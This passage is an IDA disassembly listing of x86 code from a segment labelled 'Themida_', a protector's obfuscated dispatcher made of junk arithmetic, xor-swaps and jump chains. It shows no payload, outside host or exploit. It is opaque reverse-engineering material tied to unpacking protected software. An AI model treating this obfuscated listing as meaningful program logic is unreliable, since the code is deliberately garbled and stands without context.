loc_56E19F:				; CODE XREF: sub_55EDA7+71Ej
		xor	esi, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], esi
		xor	esi, [esp-14h+arg_10]
		pop	esp
		push	[esp-18h+arg_14]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-14h+arg_10]
		pop	esp
		jmp	loc_55EA14
; ---------------------------------------------------------------------------


loc_56E1C2:				; CODE XREF: sub_55EDA7+11A10j
		add	eax, 21D72453h
		jmp	loc_560DCA
; ---------------------------------------------------------------------------


loc_56E1CC:				; CODE XREF: sub_55EDA7+53F2j
		mov	ebp, eax
		mov	eax, [esp-18h+arg_14]
		add	esp, 4
		jmp	loc_564785
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56E1D9	proc near		; DATA XREF: Themida_:0055E108o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00571E41 SIZE 00000028 BYTES

		mov	cx, [esp+0]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		push	24B1h
		mov	[esp+8+var_8], edi
		jmp	loc_571E41
sub_56E1D9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E208:				; CODE XREF: sub_55EDA7+30D6j
		push	esi
		mov	esi, 3B791AFCh
		jmp	loc_5692C7
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56E213	proc near		; CODE XREF: sub_55EDA7+12093j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, 48060DDDh
		add	edx, ebp
		pop	ebp
		add	ebp, edx
		mov	edx, [esp+0]
		add	esp, 4
		add	eax, ebp
		mov	ebp, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_569649
sub_56E213	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E241:				; CODE XREF: sub_55EDA7+CBF9j
		push	[esp+0Eh+var_E]
		pop	eax
		push	esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 4
		jmp	loc_56E6D7
; ---------------------------------------------------------------------------


loc_56E253:				; CODE XREF: sub_55EDA7+103Bj
		xchg	esi, [esp-1Eh+arg_18+2]
		jmp	loc_562BDF
; ---------------------------------------------------------------------------


loc_56E25B:				; CODE XREF: sub_55EDA7+F529j
		add	edx, edi
		push	ebp
		mov	ebp, 71956E14h
		add	edx, ebp
		pop	ebp
		add	edx, 3EF314A1h
		pop	edi
		xchg	edx, [esp-22h+arg_1C+2]
		pop	esp
		jmp	loc_56BED4
; ---------------------------------------------------------------------------


loc_56E276:				; CODE XREF: sub_55EDA7+6005j
		mov	edi, 2
		sub	esp, 4
		jmp	loc_56DBDA
; ---------------------------------------------------------------------------


loc_56E286:				; CODE XREF: sub_55EDA7+BEF8j
		movzx	ax, byte ptr [eax]
		jmp	loc_5691DB
; ---------------------------------------------------------------------------


loc_56E28F:				; CODE XREF: sub_55EDA7+110BAj
		xor	[esp+40h+var_42+2], eax
		xor	eax, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		cmp	cx, ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56E2A1:				; CODE XREF: sub_55EDA7+BE63j
		mov	[esp-10h+arg_C], ecx
		push	esi
		push	edi
		push	5215211Ah
		pop	edi
		neg	edi
		jmp	loc_561197
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56E2B3	proc near		; DATA XREF: Themida_:0055DF9Co
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+0], cl
		pushf
		jmp	loc_55E1FB
sub_56E2B3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E2C3:				; CODE XREF: sub_55EDA7+7097j
		pop	eax
		add	esp, 4
		sub	edx, 71956E14h
		jmp	loc_56E25B
; ---------------------------------------------------------------------------


loc_56E2D5:				; CODE XREF: sub_55EDA7+8355j
		xor	edi, 69CE3488h
		sub	edi, 223123Eh
		jmp	loc_566A6A
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56E2E6:				; DATA XREF: Themida_:0055E07Co
		mov	cx, [esp]
		jmp	loc_56D7CB
; ---------------------------------------------------------------------------


loc_56E2EF:				; CODE XREF: Themida_:0056E619j
		mov	[esp], edx
		mov	edx, 52CF0FA7h
		or	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56F827
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E307:				; CODE XREF: sub_55EDA7+C654j
		sub	edi, 33E27FB7h
		add	edi, 48AD3A8Eh
		sub	edi, 1AF37484h
		push	[esp+2Ch+var_2E+2]
		pop	esi
		jmp	loc_55F459
; ---------------------------------------------------------------------------


loc_56E322:				; CODE XREF: sub_55EDA7+D94Aj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+16h+var_16]
		pop	esp
		push	ecx
		push	eax
		mov	al, 0EAh
		inc	al
		sub	al, 0D1h
		inc	al
		or	al, 7
		push	ecx
		mov	ch, 4Fh
		sub	al, 5Eh
		add	al, ch
		jmp	loc_56F479
; ---------------------------------------------------------------------------


loc_56E347:				; CODE XREF: sub_55EDA7+4E36j
		or	esi, 3F3C2640h
		add	esi, 53F675Eh
		xor	esi, 853C9DA9h
		jmp	loc_562006
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56E35E	proc near		; CODE XREF: sub_55EDA7+F895j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	[esp+8+var_8]
		pop	ebp
		push	23F1h
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_567F70
sub_56E35E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E381:				; CODE XREF: sub_55EDA7+808Bj
		mov	ebx, 0C1A41D8h
		add	eax, ebx
		push	[esp+0Eh+var_E]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0Eh+var_E]
		jmp	loc_572C9B
; ---------------------------------------------------------------------------


loc_56E3A6:				; CODE XREF: sub_55EDA7+A1Aj
		mov	esp, [esp-8+arg_4]
		shr	ecx, 6
		push	64BBh
		mov	[esp-4+arg_0], ebx
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		jmp	loc_56CE7D
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56E3BF:				; CODE XREF: Themida_:0056C2AAj
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_564ADF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E3CF:				; CODE XREF: sub_55EDA7+13F3Cj
		mov	[esp+4+var_4], ebx
		mov	ebx, 1B0444D5h
		and	ebx, 38193415h
		jmp	loc_5680F7
; ---------------------------------------------------------------------------


loc_56E3E2:				; CODE XREF: sub_55EDA7+E3D8j
		mov	[esp+36h+var_36], esi
		not	[esp+36h+var_36]
		pop	esi
		not	esi
		push	edx
		mov	edx, 322722C7h
		jmp	loc_56B9A5
; ---------------------------------------------------------------------------


loc_56E3F6:				; CODE XREF: sub_55EDA7+8C77j
		pop	ebp
		jmp	loc_5658CA
; ---------------------------------------------------------------------------


loc_56E3FC:				; CODE XREF: sub_55EDA7+FEFAj
		xor	ebp, [esp-28h+arg_24]
		xor	[esp-28h+arg_24], ebp
		xor	ebp, [esp-28h+arg_24]
		pop	esp
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		push	726Dh
		mov	[esp-2Ch+arg_28], ecx
		push	[esp-2Ch+arg_2C]
		push	[esp-28h+arg_24]
		pop	ecx
		jmp	loc_56D05D
; ---------------------------------------------------------------------------


loc_56E42A:				; CODE XREF: sub_55EDA7+5DCCj
		shr	eax, 5
		inc	eax
		shl	eax, 2
		add	eax, 42A66CE2h
		add	esi, eax
		pop	eax
		add	esi, 658C5640h
		add	esi, ebp
		sub	esi, 658C5640h
		jmp	loc_56693B
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D8B3


loc_56E44C:				; CODE XREF: sub_56D8B3+1D94j
		push	eax
		push	[esp+14h+var_10]
		pop	eax
		pop	[esp+14h+var_14]
		pop	esp
		push	ecx
		push	4
		jmp	loc_56DF5F
; END OF FUNCTION CHUNK	FOR sub_56D8B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E461:				; CODE XREF: sub_55EDA7-5j
		xor	[esp-8+arg_4], edi
		jmp	loc_561F27
; ---------------------------------------------------------------------------


loc_56E469:				; CODE XREF: sub_55EDA7+273Fj
		inc	esi
		neg	esi
		xor	esi, 0CFFD980Dh
		and	edi, esi
		pop	esi
		shr	edi, 5
		shr	edi, 7
		inc	edi
		add	edi, 0A782A7Ch
		sub	edi, 0A7C2CBFh
		add	ebx, edi
		pop	edi
		jmp	loc_5616A3
; ---------------------------------------------------------------------------


loc_56E490:				; CODE XREF: sub_55EDA7+ABCBj
		mov	ecx, [esp+20h+var_22+2]
		jmp	loc_570609
; ---------------------------------------------------------------------------


loc_56E498:				; CODE XREF: sub_55EDA7+F098j
		mov	ebx, [esp+28h+var_2A+2]
		add	esp, 4
		push	edi
		push	[esp+28h+var_26+2]
		jmp	loc_563794
; ---------------------------------------------------------------------------


loc_56E4AB:				; CODE XREF: sub_55EDA7+105B0j
		add	esi, 4
		jmp	loc_5630DC
; ---------------------------------------------------------------------------


loc_56E4B6:				; CODE XREF: sub_55EDA7+9E94j
		mov	ecx, [esp+14h+var_16+2]
		add	esp, 4
		push	eax
		jmp	loc_567504
; ---------------------------------------------------------------------------


loc_56E4C2:				; CODE XREF: sub_55EDA7+E31j
		add	edx, 2D036A5Ch
		xor	edx, 551D223Fh
		sub	edx, 57FE0AB2h
		sub	edx, 6D217D83h
		add	edx, 0E7954ED3h
		xor	[esp-2+arg_0+2], edx
		mov	edx, [esp+0]
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 5D207E6Ch
		dec	edx
		sub	edx, 5D207E67h
		jmp	loc_56F664
; ---------------------------------------------------------------------------


loc_56E4FC:				; CODE XREF: sub_55EDA7+90F7j
		push	[esp-1Ch+arg_18]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-18h+arg_14]
		mov	esp, [esp-18h+arg_14]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56DEBC
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C6B9


loc_56E523:				; CODE XREF: sub_56C6B9+4810j
		xor	ecx, 5A044B3Ah
		push	dword ptr [esp+0]
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		add	esp, 4
		push	581h
		jmp	loc_56ADCA
; END OF FUNCTION CHUNK	FOR sub_56C6B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E545:				; CODE XREF: sub_55EDA7+9003j
		neg	ebp
		shr	ebp, 5
		inc	ebp
		add	ebp, 10D80434h
		sub	ecx, ebp
		pop	ebp
		xor	ecx, 3EFE2D3Ah
		sub	eax, ecx
		pop	ecx
		sub	eax, 555E268Dh
		jmp	loc_562173
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56E567	proc near		; DATA XREF: Themida_:0055E040o

var_4		= dword	ptr -4

		mov	cx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		sub	ecx, 1F76629Ah
		jmp	loc_561C79
sub_56E567	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E584:				; CODE XREF: sub_55EDA7+84BEj
		pop	edi
		inc	edx
		add	edx, 4BE04735h
		sub	edx, 0F1E1FEDh
		push	ebp
		mov	ebp, 0E9E2A1CEh
		add	edx, ebp
		jmp	loc_5602BB
; ---------------------------------------------------------------------------


loc_56E59F:				; CODE XREF: sub_55EDA7-752j
		pop	ecx
		xchg	eax, ebx
		push	ebx
		not	[esp-30h+arg_2C]
		jmp	loc_567F4E
; ---------------------------------------------------------------------------


loc_56E5AA:				; CODE XREF: sub_55EDA7+1384Dj
		xor	eax, ebx
		pop	ebx
		jmp	loc_56535B
; ---------------------------------------------------------------------------


loc_56E5B2:				; CODE XREF: sub_55EDA7+7915j
		mov	esi, 2CF250C3h
		push	edx
		mov	edx, 71D20A58h
		xor	esi, edx
		pop	edx
		shr	esi, 1
		xchg	eax, esi
		not	eax
		jmp	loc_56C700
; ---------------------------------------------------------------------------


loc_56E5CA:				; CODE XREF: sub_55EDA7+112BDj
		sub	edi, 28F553FCh
		jmp	loc_56BCE3
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56E5D5	proc near		; CODE XREF: sub_55EDA7+D6A7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp+4+var_4]
		pop	esp
		mov	ebx, ebp
		push	[esp-4+arg_0]
		mov	ebp, [esp+0]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_565348
sub_56E5D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E5FE:				; CODE XREF: sub_55EDA7+14EFj
		add	ebx, 19983CE4h
		add	ebx, ebp
		jmp	loc_560E77
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56E60B:				; CODE XREF: Themida_:0056F1A9j
		mov	ecx, esp
		push	ebx
		mov	ebx, 7F6064BCh
		sub	esp, 4
		jmp	loc_56E2EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E61E:				; CODE XREF: sub_55EDA7+7FE3j
		push	edi
		push	4BF5h
		push	esp
		jmp	loc_569C20
; ---------------------------------------------------------------------------


loc_56E62A:				; CODE XREF: sub_55EDA7+45AEj
		add	ecx, 4
		xor	ecx, [esp+0Ch+var_E+2]
		xor	[esp+0Ch+var_E+2], ecx
		jmp	loc_56BA5A
; ---------------------------------------------------------------------------


loc_56E63B:				; CODE XREF: sub_55EDA7+7885j
		pop	ebp
		jmp	sub_56E35E
; ---------------------------------------------------------------------------


loc_56E641:				; CODE XREF: sub_55EDA7+3B02j
		xor	ebp, 41EF2D29h
		xor	eax, ebp
		jmp	loc_567DAF
; ---------------------------------------------------------------------------


loc_56E64E:				; CODE XREF: sub_55EDA7+CE1Fj
		pop	ebp
		jmp	loc_55E68A
; ---------------------------------------------------------------------------


loc_56E654:				; CODE XREF: sub_55EDA7+1E72j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		jmp	loc_565D2C
; ---------------------------------------------------------------------------


loc_56E663:				; CODE XREF: sub_55EDA7+BDD3j
		sub	edx, 87791B28h
		jmp	loc_56FCBC
; ---------------------------------------------------------------------------


loc_56E66E:				; CODE XREF: sub_55EDA7+AD87j
		xor	[esp-18h+arg_14], edx
		xor	edx, [esp-18h+arg_14]
		jmp	loc_56C50C
; ---------------------------------------------------------------------------


loc_56E679:				; CODE XREF: sub_55EDA7+48CFj
		push	edi
		mov	edi, 5DA12B65h
		sub	edi, 80816EC3h
		xor	ebp, edi
		pop	edi
		add	esi, 56FA5CAEh
		jmp	loc_564B68
; ---------------------------------------------------------------------------


loc_56E693:				; CODE XREF: sub_55EDA7+B3Fj
		neg	edx
		xor	edx, 0B6D09384h
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xor	ebp, [esp+38h+var_3A+2]
		xor	[esp+38h+var_3A+2], ebp
		jmp	loc_563C9D
; ---------------------------------------------------------------------------


loc_56E6AF:				; CODE XREF: sub_55EDA7+138D5j
		mov	[esp+38h+var_3A+2], ecx
		push	esp
		pop	ecx
		jmp	loc_55E22F
; ---------------------------------------------------------------------------


loc_56E6B9:				; CODE XREF: sub_55EDA7+101C2j
		add	edx, 4
		jmp	loc_566D67
; ---------------------------------------------------------------------------


loc_56E6C4:				; CODE XREF: sub_55EDA7+113A3j
		add	[esp+38h+var_3A+2], 4
		pop	ebp
		jmp	loc_563E5D
; ---------------------------------------------------------------------------


loc_56E6CE:				; CODE XREF: sub_55EDA7+4265j
		mov	edi, [esp-24h+arg_20]
		push	edx
		jmp	loc_569EBC
; ---------------------------------------------------------------------------


loc_56E6D7:				; CODE XREF: sub_55EDA7+F4A7j
		add	esi, edx
		jmp	loc_562134
; ---------------------------------------------------------------------------


loc_56E6DE:				; CODE XREF: sub_55EDA7+BED3j
		mov	esi, 72C775B2h
		sub	esi, 1
		sub	esi, 34C15A6Ah
		shl	esi, 6
		push	edx
		mov	edx, 8186D1BCh
		sub	esi, edx
		jmp	loc_5659B4
; ---------------------------------------------------------------------------


loc_56E6FF:				; CODE XREF: sub_55EDA7+5330j
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp-1Ch+arg_18]
		pop	esp
		push	ecx
		push	[esp-1Ch+arg_1C]
		pop	ecx
		pop	[esp-1Ch+arg_18]
		mov	esp, [esp-20h+arg_1C]
		jmp	loc_56BFC5
; ---------------------------------------------------------------------------


loc_56E71A:				; CODE XREF: sub_55EDA7+5668j
		xchg	edx, ecx
		jmp	loc_56382E
; ---------------------------------------------------------------------------


loc_56E721:				; CODE XREF: sub_55EDA7+8F29j
		mov	edx, esp
		jmp	loc_566DA8
; ---------------------------------------------------------------------------


loc_56E728:				; CODE XREF: sub_55EDA7+8B2Fj
		mov	edx, 5ADE68B9h
		neg	edx
		sub	edx, 73042C15h
		neg	edx
		shl	edx, 3
		push	ebp
		mov	ebp, 35DA556Ah
		xor	ebp, 0B17DAFh
		add	ebp, 718038Ch
		sub	ebp, 373DE622h
		jmp	loc_56C8D0
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 2810h
		mov	[esp], ax
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E769:				; CODE XREF: sub_55EDA7+13554j
		mov	[esp+10h+var_12+2], ebx
		mov	bh, 56h
		push	ecx
		jmp	loc_56B579
; ---------------------------------------------------------------------------


loc_56E774:				; CODE XREF: sub_55EDA7+ADF1j
		not	cl
		jmp	loc_572CAE
; ---------------------------------------------------------------------------


loc_56E77B:				; CODE XREF: sub_55EDA7+4F3Aj
		sub	al, bh
		jmp	loc_571837
; ---------------------------------------------------------------------------


loc_56E782:				; CODE XREF: sub_55EDA7+6B54j
		pop	esp
		pop	[esp-28h+arg_24]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56E78B:				; CODE XREF: sub_55EDA7+9BF6j
		mov	[esp-28h+arg_24], esp
		add	[esp-28h+arg_24], 4
		mov	ebp, [esp-28h+arg_24]
		push	ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4
		sub	ebp, 1CCF327Fh
		add	ebp, 68C7068Bh
		jmp	loc_569CE3
; ---------------------------------------------------------------------------


loc_56E7AF:				; CODE XREF: sub_55EDA7+1FFj
		pop	eax
		xor	esi, 297A41A1h
		push	1764h
		mov	[esp+38h+var_3A+2], edx
		mov	edx, 681B7A2Bh
		sub	esi, 78DF50AFh
		add	esi, edx
		add	esi, 78DF50AFh
		jmp	loc_5676DC
; ---------------------------------------------------------------------------


loc_56E7D6:				; CODE XREF: sub_55EDA7+10B3Dj
		dec	esi
		add	esi, 8EB0EFEAh
		add	ebx, esi
		pop	esi
		jmp	loc_565A44
; ---------------------------------------------------------------------------


loc_56E7E5:				; CODE XREF: sub_55EDA7+6F70j
		shr	eax, 8
		push	ecx
		jmp	loc_563CC9
; ---------------------------------------------------------------------------


loc_56E7EE:				; CODE XREF: sub_55EDA7+D8Ej
		neg	edx
		inc	edx
		jmp	loc_564592
; ---------------------------------------------------------------------------


loc_56E7F6:				; CODE XREF: sub_55EDA7+88A7j
		mov	[esp+1Ah+var_1A], edx
		jmp	loc_561F45
; ---------------------------------------------------------------------------


loc_56E7FE:				; CODE XREF: sub_55EDA7+11512j
		push	edi
		jmp	loc_568C48
; ---------------------------------------------------------------------------


loc_56E804:				; CODE XREF: sub_55EDA7+13F67j
		add	esi, eax
		add	esi, 18A4087Ch
		pop	eax
		add	esi, 4
		xchg	esi, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		jmp	loc_56D76C
; ---------------------------------------------------------------------------


loc_56E81B:				; CODE XREF: sub_55EDA7-5E4j
		add	ebx, 4
		sub	esp, 4
		mov	[esp-28h+arg_24], ebx
		push	[esp-28h+arg_28]
		pop	ebx
		pop	[esp-28h+arg_24]
		mov	esp, [esp-2Ch+arg_28]
		jmp	loc_570ECE
; ---------------------------------------------------------------------------


loc_56E83A:				; CODE XREF: sub_55EDA7+6879j
		pop	eax
		jmp	loc_569D3D
; ---------------------------------------------------------------------------


loc_56E840:				; CODE XREF: sub_55EDA7+49F6j
		pop	esp
		mov	ax, word ptr [esp-1Ch+arg_18]
		sub	esp, 4
		jmp	loc_56148F
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E855:				; CODE XREF: sub_55EDA7+9111j
		mov	[esp-1Ch+arg_18], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		push	edx
		push	6D1D20D6h
		jmp	loc_566B60
; ---------------------------------------------------------------------------


loc_56E86C:				; CODE XREF: sub_55EDA7+1649j
		pop	[esp-0Ch+arg_8]
		mov	esp, [esp-10h+arg_C]
		or	word ptr [esp-10h+arg_C], ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56E87C:				; CODE XREF: sub_55EDA7+11837j
		pop	esi
		inc	ebp
		push	6B0Fh
		mov	[esp-0Ch+arg_8], edi
		push	47125FBEh
		jmp	loc_56B384
; ---------------------------------------------------------------------------


loc_56E890:				; CODE XREF: sub_55EDA7+10C79j
		pop	ebp
		sub	ebp, 54BB2883h
		add	ebp, edi
		add	ebp, 54BB2883h
		pop	edi
		push	ebp
		push	[esp-0Ch+arg_C]
		jmp	loc_571FD7
; ---------------------------------------------------------------------------


loc_56E8AA:				; CODE XREF: sub_55EDA7+13039j
		xor	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 78276C04h
		sub	eax, edx
		pop	edx
		sub	eax, ebp
		add	eax, 78276C04h
		push	[esp-0Ch+arg_8]
		jmp	loc_5604FF
; ---------------------------------------------------------------------------


loc_56E8C5:				; CODE XREF: sub_55EDA7+11279j
		mov	dl, 13h
		or	dl, 0DAh
		shl	dl, 2
		jmp	loc_55F7C6
; ---------------------------------------------------------------------------


loc_56E8D2:				; CODE XREF: sub_55EDA7+107A5j
		push	[esp-8+arg_4]
		pop	eax
		sub	esp, 4
		mov	[esp-4+arg_0], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp-4+arg_0]
		xor	[esp-4+arg_0], esi
		xor	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		push	ebx
		mov	ebx, 4
		jmp	loc_56C8FC
; ---------------------------------------------------------------------------


loc_56E904:				; CODE XREF: sub_55EDA7+6FFCj
		pop	ebx
		jmp	loc_56FD80
; ---------------------------------------------------------------------------


loc_56E90A:				; CODE XREF: sub_55EDA7+1281Dj
		push	[esp+14h+var_16+2]
		mov	edx, [esp+18h+var_1A+2]
		add	esp, 4
		push	454Bh
		jmp	loc_566438
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56E91D	proc near		; CODE XREF: sub_55EDA7+CD37j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056CBD3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D2DF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00571DBD SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_56CBD3
sub_56E91D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E92B:				; CODE XREF: sub_55EDA7+6859j
		push	[esp-34h+arg_30]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-30h+arg_2C]
		pop	esp
		mov	eax, edx
		jmp	loc_56D6AE
; ---------------------------------------------------------------------------


loc_56E949:				; CODE XREF: sub_55EDA7+7B8Fj
		xchg	edi, [esp-28h+arg_24]
		pop	esp
		push	edx
		push	599Eh
		jmp	loc_5613B0
; ---------------------------------------------------------------------------


loc_56E958:				; CODE XREF: sub_55EDA7+E6FAj
		not	ebx
		inc	ebx
		add	ebx, 5DBB5807h
		xor	ebx, 0EC2E437Ch
		jmp	loc_56CA9B
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56E96C	proc near		; CODE XREF: sub_55EDA7-7A2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056F4F1 SIZE 00000038 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	eax
		mov	eax, 106D3BD2h
		xor	eax, 408B40FEh
		push	ebx
		mov	ebx, 7A011BA7h
		or	ebx, 581A5254h
		dec	ebx
		shr	ebx, 2
		add	ebx, 37275A34h
		shr	ebx, 1
		jmp	loc_56F4F1
sub_56E96C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E99D:				; CODE XREF: sub_55EDA7+1342Fj
		dec	esi
		dec	esi
		xor	esi, 3C044D9Dh
		jmp	loc_5643CE
; ---------------------------------------------------------------------------


loc_56E9AA:				; CODE XREF: sub_55EDA7+12B13j
		push	ecx
		mov	ecx, 672026FFh
		shr	ecx, 7
		sub	ecx, 0CE4049h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	2DE7h
		mov	[esp+0Ch+var_E+2], ebx
		jmp	loc_55F0FD
; ---------------------------------------------------------------------------


loc_56E9CF:				; CODE XREF: sub_55EDA7+E727j
		xor	[esp-10h+arg_C], ecx
		xor	ecx, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		btc	word ptr [esp-10h+arg_C], ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56E9E3:				; CODE XREF: sub_55EDA7+81A2j
		add	eax, 0CA00FC05h
		add	esi, eax
		jmp	loc_56A154
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F632


loc_56E9EF:				; CODE XREF: sub_56F632-10CFAj
		sub	edi, 6F36056Eh
		jmp	loc_571B5B
; END OF FUNCTION CHUNK	FOR sub_56F632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E9FA:				; CODE XREF: sub_55EDA7+C9CBj
		xor	ebx, [esp+4Ch+var_4E+2]
		pop	esp
		push	edx
		push	ebp
		mov	ebp, 483757AFh
		push	ebp
		push	edx
		mov	edx, 34085F92h
		xor	[esp+58h+var_54], edx
		pop	edx
		pop	edx
		xor	edx, 34085F92h
		push	dword ptr [esp+0]
		pop	ebp
		push	ebx
		jmp	loc_56A742
; ---------------------------------------------------------------------------


loc_56EA22:				; CODE XREF: sub_55EDA7+C686j
		push	edi
		push	0BA3h
		mov	[esp+0], edx
		push	6DBCh
		mov	[esp+4+var_4], eax
		mov	eax, 527F64E5h
		jmp	loc_569B81
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56EA3D	proc near		; CODE XREF: sub_55EDA7+B69Fj
		push	ebp
		mov	ebp, 3D822A94h
		jmp	loc_563D9C
sub_56EA3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_56EA48	proc near		; CODE XREF: sub_55EDA7+7143j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056F8BC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005718E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571A67 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	esp
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	25FEh
		mov	[esp+8+var_8], ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xor	ecx, [esp+4+var_4]
